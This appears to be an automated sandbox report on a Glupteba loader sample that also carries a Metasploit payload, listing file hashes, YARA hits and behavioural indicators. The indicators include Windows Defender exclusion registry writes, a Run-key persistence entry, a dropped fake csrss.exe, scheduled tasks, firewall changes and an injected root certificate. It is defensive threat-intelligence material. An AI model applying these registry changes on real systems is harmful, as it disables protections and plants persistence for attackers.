glupteba | 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1

General

Target

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Size

3.9MB
MD5

af424c205619015d4f10b6f0454400dc
SHA1

fd770c56d4825035ed4bd9aa396fa958d23c5b1d
SHA256

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1
SHA512

f9094d8471b2a04bd9ab0b814498f7f2e0c827fed649a1093f728bac97bf80e0506242415ef7a5948377785ecd52d83d6d883f734e04879cac4d90cc7ae1d09e
SSDEEP

98304:LarFN60kk2reyIYTHhIFUNCHLjqSSNH8WGb1:LGB8dhIFUNIYGb1

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 9 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1720-56-0x00000000029B0000-0x00000000031B4000-memory.dmp	family_glupteba
behavioral1/memory/1720-57-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1720-58-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1720-59-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1976-63-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1976-66-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1976-72-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1472-74-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1472-76-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ThrobbingWind = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

Executes dropped EXE 1 IoCs

Processes:

csrss.exe

pid process

1472 csrss.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

840 netsh.exe

pid	process
1472	csrss.exe

pid	process
840	netsh.exe

Loads dropped DLL 2 IoCs

Processes:

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

pid	process
1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ThrobbingWind = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe = "0"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows\CurrentVersion\Run\ThrobbingWind = "\"C:\\Windows\\rss\\csrss.exe\""	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

Processes:

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

description	ioc	process
File opened for modification	C:\Windows\rss	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
File created	C:\Windows\rss\csrss.exe	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1964 schtasks.exe
1748 schtasks.exe

pid	process
1964	schtasks.exe
1748	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

netsh.execsrss.exe5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

pid	process
1720	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1720	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Token: SeImpersonatePrivilege	1720	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Token: SeSystemEnvironmentPrivilege	1472	csrss.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.execmd.exe

description	pid	process	target process
PID 1976 wrote to memory of 1056	1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe	cmd.exe
PID 1976 wrote to memory of 1056	1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe	cmd.exe
PID 1976 wrote to memory of 1056	1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe	cmd.exe
PID 1976 wrote to memory of 1056	1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe	cmd.exe
PID 1056 wrote to memory of 840	1056	cmd.exe	netsh.exe
PID 1056 wrote to memory of 840	1056	cmd.exe	netsh.exe
PID 1056 wrote to memory of 840	1056	cmd.exe	netsh.exe
PID 1976 wrote to memory of 1472	1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe	csrss.exe
PID 1976 wrote to memory of 1472	1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe	csrss.exe
PID 1976 wrote to memory of 1472	1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe	csrss.exe
PID 1976 wrote to memory of 1472	1976	5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
"C:\Users\Admin\AppData\Local\Temp\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Users\Admin\AppData\Local\Temp\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
